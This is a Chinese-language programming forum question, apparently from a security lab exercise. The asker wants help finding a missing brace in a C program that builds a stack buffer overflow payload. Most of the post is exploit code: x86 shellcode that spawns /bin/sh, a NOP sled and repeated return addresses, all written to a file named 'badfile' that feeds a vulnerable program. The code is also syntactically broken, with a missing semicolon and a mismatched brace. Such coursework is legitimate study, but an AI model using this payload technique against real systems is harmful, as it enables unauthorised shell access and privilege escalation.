<分区>
当我尝试编译以下代码时，我不断收到错误消息:预期的声明或语句位于输入末尾。我意识到这通常是因为遗漏了一个支架，但我似乎找不到它。我希望另一双眼睛能发现我已经盯着它看了一段时间的错误。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;
int offset = DEFAULT_OFFSET;
int codeSize = sizeof(shellcode);
int buffSize = sizeof(buffer);
if(argc > 1) offset = atoi(argv[1]); //allows for command line input
ptr=buffer;
a_ptr = (long *) ptr;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);
ret = get_sp()+offset;
printf("Return Address: 0x%x\n",get_sp());
printf("Address: 0x%x\n",ret);
ptr = buffer;
a_ptr = (long *) ptr;
int i;
for (i = 0; i < 300;i+=4)
{
*(a_ptr++) = ret;
}
for(i = 486;i < codeSize + 486;++i)
{
buffer[i] = shellcode[i-486];
{
buffer[buffSize - 1] = '\0';
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);
}